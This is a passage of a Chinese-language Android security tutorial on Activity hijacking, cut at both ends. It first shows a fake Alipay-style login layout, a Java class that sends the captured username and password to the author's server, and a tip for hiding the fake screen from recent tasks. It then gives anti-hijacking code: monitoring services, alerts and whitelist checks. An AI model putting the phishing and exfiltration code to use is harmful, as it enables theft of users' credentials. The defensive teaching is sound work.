android:textSize=&quot;18sp&quot;\n            android:text=&quot;\u8d26\u53f7\uff1a&quot;\n            android:layout_width=&quot;wrap_content&quot;\n            android:layout_height=&quot;wrap_content&quot; \/&gt;\n        &lt;EditText\n            android:visibility=&quot;invisible&quot;\n            android:id=&quot;@+id\/user&quot;\n            android:hint=&quot;\u8d26\u53f7&quot;\n            android:layout_width=&quot;match_parent&quot;\n            android:layout_height=&quot;wrap_content&quot; \/&gt;\n    &lt;\/LinearLayout&gt;\n\n    &lt;LinearLayout\n        android:orientation=&quot;horizontal&quot;\n        android:layout_width=&quot;match_parent&quot;\n        android:layout_height=&quot;wrap_content&quot;&gt;\n        &lt;TextView\n            android:textSize=&quot;18sp&quot;\n            android:text=&quot;\u5bc6\u7801\uff1a&quot;\n            android:layout_width=&quot;wrap_content&quot;\n            android:layout_height=&quot;wrap_content&quot; \/&gt;\n        &lt;EditText\n            android:visibility=&quot;invisible&quot;\n            android:id=&quot;@+id\/pass&quot;\n            android:hint=&quot;\u5bc6\u7801&quot;\n            android:layout_width=&quot;match_parent&quot;\n            android:layout_height=&quot;wrap_content&quot; \/&gt;\n    &lt;\/LinearLayout&gt;\n&lt;\/LinearLayout&gt;\n&lt;Button\n    android:visibility=&quot;invisible&quot;\n    android:id=&quot;@+id\/login&quot;\n    android:layout_below=&quot;@id\/linear&quot;\n    android:layout_width=&quot;wrap_content&quot;\n    android:layout_height=&quot;wrap_content&quot;\n    android:text=&quot;\u767b\u5f55&quot; \/&gt;\n&lt;\/RelativeLayout&gt;<\/code><\/pre>\n<p>\u4e0a\u9762\u7684\u5176\u4ed6\u4ee3\u7801\u4e3b\u8981\u662f\u4e3a\u4e86\u8ba9\u754c\u9762\u7684\u70b9\u51fb\u6548\u679c\u4e0e\u771f\u7684\u652f\u4ed8\u5b9d\u770b\u8d77\u6765\u5c3d\u91cf\u4e00\u6837\uff0c\u4e3b\u8981\u7684\u4ee3\u7801\u662f\u53d1\u9001\u7528\u6237\u5bc6\u7801\u7684\u90a3\u4e00\u884c<\/p>\n<p>\u7f16\u5199SendUtil\uff0c\u5b83\u662f\u5411\u6211\u5199\u7684\u670d\u52a1\u5668\u7aef\u53d1\u9001\u4e00\u4e2aHTTP\u8bf7\u6c42\uff0c\u5c06\u7528\u6237\u5bc6\u7801\u53d1\u9001\u51fa\u53bb\u3002\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-java\">public class SendUtil {\n\n    public static void sendInfo(String paramString1, String paramString2, String paramString3) {\n        HttpClient httpClient = new DefaultHttpClient();\n        HttpGet httpGet = new HttpGet(&quot;http:\/\/10.0.0.33:8080\/spring\/test\/receiver.do?a=&quot;+paramString1+&quot;&amp;b=&quot;+paramString2+&quot;&amp;c=&quot;+paramString3);\n\n        try {\n            HttpResponse httpResponse = httpClient.execute(httpGet);\n            Log.i(&quot;hijacking&quot;, httpResponse.getStatusLine().getStatusCode()+&quot;&quot;);\n        } catch (ClientProtocolException e) {\n            e.printStackTrace();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n}<\/code><\/pre>\n<p>\u8bf4\u660e\uff1a\u8fd9\u4e2a\u7c7b\u9700\u8981\u6dfb\u52a0\u4e24\u4e2ajar\u5305\uff0chttpclient\u548chttpcore<\/p>\n<h3>\u7528\u6237\u9632\u8303<\/h3>\n<p>Android\u624b\u673a\u5747\u6709\u4e00\u4e2aHOME\u952e\uff08\u5373\u5c0f\u623f\u5b50\u7684\u90a3\u4e2a\u56fe\u6807\uff09\uff0c\u957f\u6309\u53ef\u4ee5\u770b\u5230\u8fd1\u671f\u4efb\u52a1\u4e00\u4e9b\u624b\u673a\u663e\u793a\u6700\u8fd1\u7684\u4e00\u4e2a\u662f\u4e0a\u4e00\u4e2a\u8fd0\u884c\u7684\u7a0b\u5e8f\u3002\u5c0f\u7c73\u663e\u793a\u6700\u8fd1\u7684\u4e00\u4e2a\u662f\u5f53\u524d\u8fd0\u884c\u7684\u7a0b\u5e8f\u3002\u6240\u4ee5\uff0c\u5728\u8981\u8f93\u5165\u5bc6\u7801\u8fdb\u884c\u767b\u5f55\u65f6\uff0c\u53ef\u4ee5\u901a\u8fc7\u957f\u6309HOME\u952e\u67e5\u770b\u8fd1\u671f\u4efb\u52a1\uff0c\u5224\u65ad\u662f\u5426\u4f2a\u88c5\u7684\u3002\u4f46\u662f\u8fd9\u79cd\u65b9\u6cd5\u4e5f\u4e0d\u662f\u7edd\u5bf9\u7684\uff0c\u53ef\u4ee5\u5728<code>AndroidManifest.xml<\/code>\u4e2d\u76f8\u5e94Activity\u4e0b\u6dfb\u52a0<code>android:noHistory=&quot;true&quot;<\/code>\u8fd9\u6837\u5c31\u4e0d\u4f1a\u628a\u4f2a\u88c5\u754c\u9762\u663e\u793a\u5728\u6700\u8fd1\u4efb\u52a1\u4e2d\u3002<\/p>\n<h3>\u53cd\u52ab\u6301<\/h3>\n<p>\u7136\u800c\uff0c\u5982\u679c\u771f\u7684\u7206\u53d1\u4e86\u8fd9\u79cd\u6076\u610f\u7a0b\u5e8f\uff0c\u6211\u4eec\u5e76\u4e0d\u80fd\u5728\u542f\u52a8\u7a0b\u5e8f\u65f6\u6bcf\u4e00\u6b21\u90fd\u90a3\u4e48\u5c0f\u5fc3\u53bb\u67e5\u770b\u5224\u65ad\u5f53\u524d\u5728\u8fd0\u884c\u7684\u662f\u54ea\u4e00\u4e2a\u7a0b\u5e8f\uff0c\u5f53<code>android:noHistory=&quot;true&quot;<\/code>\u65f6\u4e0a\u9762\u7684\u65b9\u6cd5\u4e5f\u65e0\u6548\u3002<\/p>\n<p>\u8bbe\u8ba1\u4e00\u6b3e\u53cd\u52ab\u6301\u52a9\u624b\uff0c\u539f\u7406\u5f88\u7b80\u5355\uff0c\u5c31\u662f\u83b7\u53d6\u5f53\u524d\u8fd0\u884c\u7684\u662f\u54ea\u4e00\u4e2a\u7a0b\u5e8f\uff0c\u5e76\u4e14\u663e\u793a\u5728\u4e00\u4e2a\u6d6e\u52a8\u7a97\u53e3\u4e2d\uff0c\u4ee5\u5e2e\u5fd9\u7528\u6237\u5224\u65ad\u5f53\u524d\u8fd0\u884c\u7684\u662f\u54ea\u4e00\u4e2a\u7a0b\u5e8f\uff0c\u9632\u8303\u4e00\u4e9b\u9493\u9c7c\u7a0b\u5e8f\u7684\u6b3a\u9a97\u3002<\/p>\n<p>\u5728\u8fd9\u4e00\u6b21\uff0c\u7531\u4e8e\u662f\u201c\u6b63\u5f53\u9632\u536b\u201d\uff0c\u5c31\u4e0d\u518d\u901a\u8fc7\u679a\u4e3e\u6765\u83b7\u53d6\u5f53\u524d\u8fd0\u884c\u7684\u7a0b\u5e8f\u4e86\uff0c\u5728manifest\u6587\u4ef6\u4e2d\u589e\u52a0\u4e00\u4e2a\u6743\u9650\uff1a <\/p>\n<pre><code>&lt;uses-permission android:name=&quot;android.permission.GET_TASKS&quot; \/&gt;<\/code><\/pre>\n<p>\u7136\u540e\u542f\u52a8\u7a0b\u5e8f\u7684\u65f6\u5019\uff0c\u542f\u52a8\u4e00\u4e2aService\uff0c\u5728Service\u4e2d\u542f\u52a8\u4e00\u4e2a\u6d6e\u52a8\u7a97\u53e3\uff0c\u5e76\u5468\u671f\u6027\u68c0\u6d4b\u5f53\u524d\u8fd0\u884c\u7684\u662f\u54ea\u4e00\u4e2a\u7a0b\u5e8f\uff0c\u7136\u540e\u663e\u793a\u5728\u6d6e\u52a8\u7a97\u53e3\u4e2d\u3002 <\/p>\n<p>\u5176\u4e2dService\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-java\">import android.app.ActivityManager;\nimport android.app.Notification;\nimport android.app.Service;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.content.pm.PackageManager;\nimport android.content.pm.PackageManager.NameNotFoundException;\nimport android.os.Bundle;\nimport android.os.Handler;\nimport android.os.IBinder;\nimport android.os.Message;\nimport android.util.Log;\nimport com.sinaapp.msdxblog.androidkit.thread.HandlerFactory;\nimport com.sinaapp.msdxblog.antihijacking.AntiConstants;\nimport com.sinaapp.msdxblog.antihijacking.view.AntiView;\n\npublic class AntiService extends Service {\n\n    private boolean shouldLoop = false;\n    private Handler handler;\n    private ActivityManager am;\n    private PackageManager pm;\n    private Handler mainHandler;\n    private AntiView mAntiView;\n    private int circle = 2000;\n\n    @Override\n    public IBinder onBind(Intent intent) {\n        return null;\n    }\n\n    @Override  \n    public void onStart(Intent intent, int startId) {\n        super.onStart(intent, startId);\n        startForeground(19901008, new Notification());\n        if (intent != null) {\n            circle = intent.getIntExtra(AntiConstants.CIRCLE, 2000);\n        }\n        Log.i(&quot;circle&quot;, circle + &quot;ms&quot;);\n        if (true == shouldLoop) {\n            return;\n        }\n        mAntiView = new AntiView(this);\n        mainHandler = new Handler() {\n            public void handleMessage(Message msg) {\n                String name = msg.getData().getString(&quot;name&quot;);\n                mAntiView.setText(name);\n            };\n        };\n        pm = getPackageManager();\n        shouldLoop = true;\n        am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);\n        handler = new Handler(HandlerFactory.getHandlerLooperInOtherThread(&quot;anti&quot;)) {\n            @Override\n            public void handleMessage(Message msg) {\n                super.handleMessage(msg);\n                String packageName = am.getRunningTasks(1).get(0).topActivity.getPackageName();\n                try {\n                    String progressName = pm.getApplicationLabel(pm.getApplicationInfo(packageName, PackageManager.GET_META_DATA)).toString();\n                    updateText(progressName);\n                } catch (NameNotFoundException e) {\n                    e.printStackTrace();\n                }\n\n                if (shouldLoop) {\n                    handler.sendEmptyMessageDelayed(0, circle);\n                }\n            }\n        };\n        handler.sendEmptyMessage(0);\n    }\n\n    private void updateText(String name) {\n        Message message = new Message();\n        Bundle data = new Bundle();\n        data.putString(&quot;name&quot;, name);\n        message.setData(data);\n        mainHandler.sendMessage(message);\n    }\n\n    @Override\n    public void onDestroy() {\n        shouldLoop = false;\n        mAntiView.remove();\n        super.onDestroy();\n    }\n}<\/code><\/pre>\n<h2>\u9632\u62a4\u65b9\u6848<\/h2>\n<p>\u76ee\u524d\uff0c\u5bf9Activity\u52ab\u6301\u7684\u9632\u62a4\uff0c\u53ea\u80fd\u662f\u9002\u5f53\u7ed9\u7528\u6237\u8b66\u793a\u4fe1\u606f\u3002\u4e00\u4e9b\u7b80\u5355\u7684\u9632\u62a4\u624b\u6bb5\u5c31\u662f\u663e\u793a\u5f53\u524d\u8fd0\u884c\u7684\u8fdb\u7a0b\u63d0\u793a\u6846\u3002\u6886\u6886\u52a0\u56fa\u5219\u662f\u5728\u8fdb\u7a0b\u5207\u6362\u7684\u65f6\u5019\u7ed9\u51fa\u63d0\u793a\uff0c\u5e76\u4f7f\u7528\u767d\u540d\u5355\u8fc7\u6ee4\u3002<\/p>\n<h3>\u89e3\u51b3\u529e\u6cd5<\/h3>\n<p>\u8fd9\u662f\u7cfb\u7edf\u6f0f\u6d1e\uff0c\u5728\u5e94\u7528\u7a0b\u5e8f\u4e2d\u5f88\u96be\u53bb\u9632\u6b62\u8fd9\u79cd\u754c\u9762\u652f\u6301\u3002\u4f46\u5e94\u7528\u7a0b\u5e8f\u81ea\u8eab\u53ef\u4ee5\u589e\u52a0\u4e00\u4e9b\u9632\u8303\u5b9e\u65bd\uff1a<\/p>\n<ol>\n<li>\u5f00\u542f\u5b88\u62a4\u8fdb\u7a0b\uff0c\u5f53\u53d1\u73b0\u5e94\u7528\u7a0b\u5e8f\u4e0d\u5728\u6808\u9876\u65f6\uff0c\u5728\u5c4f\u5e55\u6700\u4e0a\u5c42\u521b\u5efa\u4e00\u4e2a\u60ac\u6d6e\u5c0f\u7a97\u53e3\uff08\u63d0\u793a\u4fe1\u606f\u4e0e\u5ba2\u6237\u786e\u5b9a\uff09\uff0c\u4ee5\u63d0\u9192\u7528\u6237<\/li>\n<li>\u4f7f\u7528\u62a2\u5360\u5f0f\uff0c\u5373\u4e0e\u52ab\u6301\u7a0b\u5e8f\u62a2\u5360\u6808\u9876<\/li>\n<li>\u5728\u5e94\u7528\u5207\u5230\u540e\u53f0\u65f6\uff0c\u5728\u901a\u77e5\u680f\u5f39\u51fa\u901a\u77e5\u63d0\u793a<\/li>\n<\/ol>\n<p>\u4ee5\u4e0a\u4e09\u79cd\u9632\u8303\u63aa\u65bd\u90fd\u662f\u53ef\u53d6\u7684\uff0c\u4f46\u662f\u5176\u4e2d\u7b2c\u4e8c\u79cd\uff0c\u62a2\u5360\u5f0f\u7684\u62a2\u5360\u6808\u9876\u8fd9\u79cd\u505a\u6cd5\uff0c\u9891\u7e41\u51fa\u73b0\u7684\u8bdd\uff0c\u7528\u6237\u4f1a\u975e\u5e38\u53cd\u611f\uff0c\u4e8e\u662f\uff0c\u6211\u4eec\u6700\u7ec8\u7684\u65b9\u6848\u662f\u7ed3\u5408\u7b2c\u4e00\u79cd\u548c\u7b2c\u4e09\u79cd\u65b9\u6cd5\u6765\u5904\u7406\uff1aApp\u88ab\u5207\u5230\u540e\u53f0\u540eToast\u5f39\u6846\u5e76\u5728\u901a\u77e5\u680f\u663e\u793a\u4e00\u6761\u901a\u77e5\uff08\u63d0\u9192\u7528\u6237\uff0cApp\u88ab\u5207\u5230\u540e\u53f0\u8fd0\u884c\uff09<\/p>\n<h3>\u5177\u4f53\u5b9e\u65bd<\/h3>\n<p>\uff081\uff09\u5728Activity\u7684\u5404\u751f\u547d\u5468\u671f\u4e2d\u542f\u52a8\u6216\u8005\u505c\u6b62\u670d\u52a1\uff08\u5728onResume\u4e2d\u5f00\u542fservice\uff0c\u5728onPause\u548conDestory\u4e2d\u5173\u95edservice\uff09<\/p>\n<pre><code class=\"language-java\">@Override\nprotected void onPause() {\n    Intent intent = new Intent();\n    intent.putExtra(&quot;pageName&quot;, this.getComponentName()\n            .getPackageName());\n    intent.putExtra(&quot;className&quot;, this.getComponentName().getClassName());\n    intent.setClass(this, AppStatusService.class);\n    startService(intent);\n}\n\npublic void onResume() {\n    Intent intent = new Intent();\n    intent.putExtra(&quot;pageName&quot;, this.getComponentName().getPackageName());\n    intent.putExtra(&quot;className&quot;, this.getComponentName().getClassName());\n    intent.setClass(this, AppStatusService.class);\n    stopService(intent);\n}\n\n@Override\npublic void onDestroy() {\n    Intent intent = new Intent();\n    intent.setClass(this, AppStatusService.class);\n    stopService(intent);\n}<\/code><\/pre>\n<p>\uff082\uff09\u7f16\u5199\u5177\u4f53\u7684Service\u903b\u8f91<\/p>\n<pre><code class=\"language-java\">\/**\n * \u5e94\u7528\u662f\u5426\u5728\u524d\u53f0\u8fd0\u884c\n * \n * @return true\uff1a\u5728\u524d\u53f0\u8fd0\u884c\uff1bfalse\uff1a\u5df2\u7ecf\u88ab\u5207\u5230\u540e\u53f0\n *\/\nprivate boolean isAppOnForeground() {\n    List&lt;RunningAppProcessInfo&gt; appProcesses = activityManager.getRunningAppProcesses();\n    if (appProcesses != null) {\n        for (RunningAppProcessInfo appProcess : appProcesses) {\n            if (appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {\n                if (appProcess.processName.equals(packageName)) {\n                    return true;\n                }\n            }\n        }\n    }\n    return false;\n}\n\n\/**\n * \u5b9a\u4e49\u4e00\u4e2atimerTask\u6765\u53d1\u901a\u77e5\u548c\u5f39\u51faToast\n *\/\nTimerTask timerTask = new TimerTask() {\n\n    @Override\n    public void run() {\n        if (!isAppOnForeground()) {\n\n            isAppBackground = true;\n            \/\/\u53d1\u901a\u77e5\n            showNotification();\n            \/\/\u5f39\u51faToast\u63d0\u793a\n            MainActivity.mCurrentActivity.runOnUiThread(new Runnable() {\n                @Override\n                public void run() {\n                    Toast.makeText(getApplicationContext(),\n                            getApplicationContext().getString(R.string.pervent_hijack_mes), Toast.LENGTH_SHORT)\n                            .show();\n                }\n            });\n            mTimer.cancel();\n        }\n    }\n};\n\n\/**\n * \u5f39\u51fa\u901a\u77e5\u63d0\u793a\n *\/\nprivate void showNotification() {\n    NotificationManager notificationManager = (NotificationManager) getSystemService(\n            android.content.Context.NOTIFICATION_SERVICE);\n    Notification notification = new Notification(R.drawable.icon, &quot;xx\u94f6\u884c&quot;, System.currentTimeMillis());\n    notification.defaults |= Notification.DEFAULT_VIBRATE; \/\/ \u8bbe\u7f6e\u9707\u52a8\n    notification.defaults |= Notification.DEFAULT_LIGHTS; \/\/ \u8bbe\u7f6eLED\u706f\u63d0\u9192\n    notification.flags |= Notification.FLAG_NO_CLEAR; \/\/ \u901a\u77e5\u4e0d\u53ef\u88ab\u72b6\u6001\u680f\u7684\u6e05\u9664\u6309\u94ae\u6e05\u9664\u6389\n    notification.flags |= Notification.FLAG_ONGOING_EVENT; \/\/ \u901a\u77e5\u653e\u7f6e\u5728 \u6b63\u5728\u8fd0\u884c\n\n    Intent intent = new Intent();\n    intent.setAction(Intent.ACTION_MAIN);\n    intent.putExtra(&quot;notification&quot;, &quot;notification&quot;);\n    intent.setClassName(packageName, className);\n\n    \/\/ \u4fee\u6539vivo\u624b\u673a\u70b9\u51fb\u901a\u77e5\u680f\u4e0d\u8fd4\u56de\n    intent.addCategory(Intent.CATEGORY_LAUNCHER);\n\n    \/\/ \u589e\u52a0Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED\u7528\u4e8e\u6b63\u5e38\u7684\u4ece\u540e\u53f0\u518d\u6b21\u8fd4\u56de\u5230\u539f\u6765\u9000\u51fa\u65f6\u7684\u9875\u9762\u4e2d\n    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);\n    PendingIntent pendingInt = PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT);\n\n    String temp = &quot;&quot;;\n    notification.setLatestEventInfo(this, &quot;xx\u624b\u673a\u94f6\u884c&quot;, &quot;\u624b\u673a\u94f6\u884c\u5df2\u7ecf\u88ab\u5207\u5230\u540e\u53f0\u8fd0\u884c&quot; + temp, pendingInt);\n    \/\/ \u8bbe\u7f6e\u670d\u52a1\u7684\u7ea7\u522b\uff0c\u4f7f\u5176\u4e0d\u5bb9\u6613\u88abkill\u6389\uff0c\u89e3\u51b3\u540e\u53f0\u8fd4\u56de\u524d\u53f0\u9ed1\u5c4f\u7684\u95ee\u9898\n    startForeground(1, notification);\n}<\/code><\/pre>\n<p>\uff083\uff09\u5728onStart\u4e2d\u6267\u884ctimer<\/p>\n<pre><code class=\"language-java\">@Override\npublic void onStart(Intent intent, int startId) {\n    try {\n        Bundle bundle = null;\n        if (intent != null) {\n            bundle = intent.getExtras();\n        }\n        if (bundle != null) {\n            className = bundle.getString(&quot;className&quot;);\n        }\n        \/\/ \u901a\u8fc7\u8ba1\u65f6\u5668\u5ef6\u8fdf\u6267\u884c\n        mTimer.schedule(timerTask, 50, 50);\n\n    } catch (Exception e) {\n        e.printStackTrace();\n    }\n}<\/code><\/pre>\n<blockquote>\n<p>\u6ce8\uff1a\u6839\u636e<code>IMOPORTANCE<\/code>\u7684\u4e0d\u540c\u6765\u5224\u65ad\u524d\u53f0\u6216\u540e\u53f0\uff0c<code>RunningAppProcessInfo<\/code>\u91cc\u9762\u7684\u5e38\u91cf<code>IMOPORTANCE<\/code>\u5c31\u662f\u4e0a\u9762\u6240\u8bf4\u7684\u524d\u53f0\u540e\u53f0\uff0c\u5176\u5b9e<code>IMOPORTANCE<\/code>\u662f\u8868\u793a\u8fd9\u4e2aapp\u8fdb\u7a0b\u7684\u91cd\u8981\u6027\uff0c\u56e0\u4e3a\u7cfb\u7edf\u56de\u6536\u65f6\u5019\uff0c\u4f1a\u6839\u636e<code>IMOPORTANCE<\/code>\u6765\u56de\u6536\u8fdb\u7a0b\u7684\u3002<\/p>\n<\/blockquote>\n<pre><code class=\"language-java\">public static final int IMPORTANCE_BACKGROUND = 400 \/\/\u540e\u53f0\npublic static final int IMPORTANCE_EMPTY = 500 \/\/\u7a7a\u8fdb\u7a0b\npublic static final int IMPORTANCE_FOREGROUND =100 \/\/\u5728\u5c4f\u5e55\u6700\u524d\u7aef\u3001\u53ef\u83b7\u53d6\u5230\u7126\u70b9 \u53ef\u7406\u89e3\u4e3aActivity\u751f\u547d\u5468\u671f\u7684OnResume();\npublic static final int IMPORTANCE_SERVICE = 300 \/\/\u5728\u670d\u52a1\u4e2d\npublic static final int IMPORTANCE_VISIBLE = 200 \/\/\u5728\u5c4f\u5e55\u524d\u7aef\u3001\u83b7\u53d6\u4e0d\u5230\u7126\u70b9\u53ef\u7406\u89e3\u4e3aActivity\u751f\u547d\u5468\u671f\u7684OnStart();<\/code><\/pre>\n<h2>\u9632\u62a4\u624b\u6bb5<\/h2>\n<p>\u76ee\u524d\uff0c\u8fd8\u6ca1\u6709\u4ec0\u4e48\u4e13\u95e8\u9488\u5bf9Activity\u52ab\u6301\u7684\u9632\u62a4\u65b9\u6cd5\uff0c\u56e0\u4e3a\uff0c\u8fd9\u79cd\u653b\u51fb\u662f\u7528\u6237\u5c42\u9762\u4e0a\u7684\uff0c\u76ee\u524d\u8fd8\u65e0\u6cd5\u4ece\u4ee3\u7801\u5c42\u9762\u4e0a\u6839\u9664\u3002\u4f46\u662f\uff0c\u6211\u4eec\u53ef\u4ee5\u9002\u5f53\u5730\u5728APP\u4e2d\u7ed9\u7528\u6237\u4e00\u4e9b\u8b66\u793a\u4fe1\u606f\uff0c\u63d0\u793a\u7528\u6237\u5176\u767b\u9646\u754c\u9762\u4ee5\u88ab\u8986\u76d6\uff0c\u5e76\u7ed9\u51fa\u8986\u76d6\u6b63\u5e38Activity\u7684\u7c7b\u540d\uff0c\u793a\u4f8b\u5982\u4e0b\uff1a<\/p>\n<p>\u9996\u5148\uff0c\u5728\u524d\u6b63\u5e38\u7684\u767b\u5f55Activity\u754c\u9762\u4e2d\u91cd\u5199<code>onKeyDown<\/code>\u65b9\u6cd5\u548c<code>onPause<\/code>\u65b9\u6cd5\uff0c\u8fd9\u6837\u4e00\u6765\uff0c\u5f53\u5176\u88ab\u8986\u76d6\u65f6\uff0c\u5c31\u80fd\u591f\u5f39\u51fa\u8b66\u793a\u4fe1\u606f\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-java\">@Override\npublic boolean onKeyDown(int keyCode, KeyEvent event) {\n    \/\/\u5224\u65ad\u7a0b\u5e8f\u8fdb\u5165\u540e\u53f0\u662f\u5426\u662f\u7528\u6237\u81ea\u8eab\u9020\u6210\u7684\uff08\u89e6\u6478\u8fd4\u56de\u952e\u6216HOME\u952e\uff09\uff0c\u662f\u5219\u65e0\u9700\u5f39\u51fa\u8b66\u793a\u3002\n    if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) &amp;&amp; event.getRepeatCount()==0) {\n        needAlarm = false;\n    }\n    return super.onKeyDown(keyCode, event);\n}\n\n@Override\nprotected void onPause() {\n    \/\/\u82e5\u7a0b\u5e8f\u8fdb\u5165\u540e\u53f0\u4e0d\u662f\u7528\u6237\u81ea\u8eab\u9020\u6210\u7684\uff0c\u5219\u9700\u8981\u5f39\u51fa\u8b66\u793a\n    if(needAlarm) {\n        \/\/\u5f39\u51fa\u8b66\u793a\u4fe1\u606f\n        Toast.makeText(getApplicationContext(), &quot;\u60a8\u7684\u767b\u9646\u754c\u9762\u88ab\u8986\u76d6\uff0c\u8bf7\u786e\u8ba4\u767b\u9646\u73af\u5883\u662f\u5426\u5b89\u5168&quot;, Toast.LENGTH_SHORT).show();\n        \/\/\u542f\u52a8\u6211\u4eec\u7684AlarmService\uff0c\u7528\u4e8e\u7ed9\u51fa\u8986\u76d6\u4e86\u6b63\u5e38Activity\u7684\u7c7b\u540d\n        Intent intent = new Intent(this, AlarmService.class);\n        startService(intent);\n    }\n    super.onPause();\n}<\/code><\/pre>\n<p>\u7136\u540e\u5b9e\u73b0AlarmService.java\uff0c\u5e76\u5728\u5728AndroidManifest.xml\u4e2d\u6ce8\u518c<\/p>\n<pre><code class=\"language-java\">import android.app.ActivityManager;\nimport android.app.Service;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.os.Handler;\nimport android.os.IBinder;\nimport android.widget.Toast;\n\npublic class AlarmService extends Service {\n\n    boolean isStart = false;\n    Handler handler = new Handler();\n\n    Runnable alarmRunnable = new Runnable() {\n        @Override\n        public void run() {\n            \/\/\u5f97\u5230ActivityManager\n            ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);\n            \/\/getRunningTasks\u4f1a\u8fd4\u56de\u4e00\u4e2aList\uff0cList\u7684\u5927\u5c0f\u7b49\u4e8e\u4f20\u5165\u7684\u53c2\u6570\u3002\n            \/\/get(0)\u53ef\u83b7\u5f97List\u4e2d\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20\uff0c\u5373\u6808\u9876\u7684task\n            ActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);\n            \/\/\u5f97\u5230\u5f53\u524d\u6808\u9876\u7684\u7c7b\u540d\uff0c\u6309\u7167\u9700\u6c42\uff0c\u4e5f\u53ef\u4ee5\u5f97\u5230\u5b8c\u6574\u7684\u7c7b\u540d\u548c\u5305\u540d\n            String shortClassName = info.topActivity.getShortClassName(); \/\/\u7c7b\u540d\n            \/\/\u5b8c\u6574\u7c7b\u540d\n            \/\/String className = info.topActivity.getClassName();\n            \/\/\u5305\u540d\n            \/\/String packageName = info.topActivity.getPackageName();\n            Toast.makeText(getApplicationContext(), &quot;\u5f53\u524d\u8fd0\u884c\u7684\u7a0b\u5e8f\u4e3a&quot; + shortClassName, Toast.LENGTH_LONG).show();\n        }\n    };\n\n    @Override\n    public int onStartCommand(Intent intent, int flag, int startId) {\n        super.onStartCommand(intent, flag, startId);\n        if(!isStart) {\n            isStart = true;\n            \/\/\u542f\u52a8alarmRunnable\n            handler.postDelayed(alarmRunnable, 1000);\n            stopSelf();\n        }\n        return START_STICKY;\n    }\n\n    @Override\n    public IBinder onBind(Intent intent) {\n        return null;\n    }\n}<\/code><\/pre>\n<p>\u5728\u7528\u6237\u4f7f\u7528APP\u7684\u65f6\u5019\uff0c\u5982\u679c\u88ab\u6076\u610f\u7a0b\u5e8f\u52ab\u6301\u8df3\u8f6c\u5230\u522b\u7684\u754c\u9762\uff0c\u8fd9\u4e2a\u65f6\u5019\u6211\u4eec\u5c31\u8981\u505a\u51fa\u9884\u8b66\u63d0\u793a\u7528\u6237\uff0c\u544a\u8bc9\u7528\u6237\u5f53\u524d\u754c\u9762\u5df2\u7ecf\u4e0d\u662f\u6211\u4eec\u7684APP\uff0c\u6709\u6f5c\u5728\u7684\u5371\u9669\u3002\u4ee3\u7801\u7684\u5de5\u4f5c\u539f\u7406\u5f88\u7b80\u5355\u5c31\u662f\u5728\u6211\u4eec\u6240\u5199\u7684Activity\u5bf9\u8c61\u7684onStop\u751f\u547d\u5468\u671f\u5224\u65ad\u5c06\u8981\u8df3\u8f6c\u7684\u754c\u9762\u662f\u5426\u662f\u5b89\u5168\u7684\u3002\u5177\u4f53\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-java\">public class AntiHijackingUtil {\n\n    public static final String TAG = &quot;AntiHijackingUtil&quot;;\n    \/\/ \u767d\u540d\u5355\u5217\u8868\n    private static List&lt;String&gt; safePackages;\n    static {\n        safePackages = new ArrayList&lt;String&gt;();\n    }\n\n    public static void configSafePackages(List&lt;String&gt; packages) {\n        return;\n    }\n    private static PackageManager pm;\n    private List&lt;ApplicationInfo&gt; mlistAppInfo;\n\n    \/**\n     * \u68c0\u6d4b\u5f53\u524dActivity\u662f\u5426\u5b89\u5168\n     *\/\n    public static boolean checkActivity(Context context) {\n        boolean safe = false;\n        pm = context.getPackageManager();\n            \/\/ \u67e5\u8be2\u6240\u6709\u5df2\u7ecf\u5b89\u88c5\u7684\u5e94\u7528\u7a0b\u5e8f\n            List&lt;ApplicationInfo&gt; listAppcations = pm.getInstalledApplications(PackageManager.GET_UNINSTALLED_PACKAGES);    \n            Collections.sort(listAppcations, new ApplicationInfo.DisplayNameComparator(pm)); \/\/ \u6392\u5e8f\n            List&lt;ApplicationInfo&gt; appInfos = new ArrayList&lt;ApplicationInfo&gt;(); \/\/ \u4fdd\u5b58\u8fc7\u6ee4\u67e5\u5230\u7684AppInfo\n            \/\/appInfos.clear();\n        for (ApplicationInfo app : listAppcations) { \/\/ \u6392\u5e8f\u5fc5\u987b\u6709\n            if ((app.flags &amp; ApplicationInfo.FLAG_SYSTEM) != 0) {\n                \/\/appInfos.add(getAppInfo(app));\n                safePackages.add(app.packageName);\n            }\n        }\n        \/\/\u5f97\u5230\u6240\u6709\u7684\u7cfb\u7edf\u7a0b\u5e8f\u5305\u540d\u653e\u8fdb\u767d\u540d\u5355\u91cc\u9762\n\n        ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);\n        String runningActivityPackageName;\n        int sdkVersion;\n\n        try {\n            sdkVersion = Integer.valueOf(android.os.Build.VERSION.SDK);\n        } catch (NumberFormatException e) {\n            sdkVersion = 0;\n        }\n\n        if (sdkVersion &gt;= 21) { \/\/ \u83b7\u53d6\u7cfb\u7edfapi\u7248\u672c\u53f7\uff0c\u5982\u679c\u662f5x\u7cfb\u7edf\u5c31\u7528\u8fd9\u4e2a\u65b9\u6cd5\u83b7\u53d6\u5f53\u524d\u8fd0\u884c\u7684\u5305\u540d\n            runningActivityPackageName= getCurrentPkgName(context);\n        } else {\n            runningActivityPackageName=activityManager.getRunningTasks(1).get(0).topActivity.getPackageName(); \/\/ \u5982\u679c\u662f4x\u53ca\u4ee5\u4e0b\uff0c\u7528\u8fd9\u4e2a\u65b9\u6cd5\n        }\n\n        if (runningActivityPackageName != null) 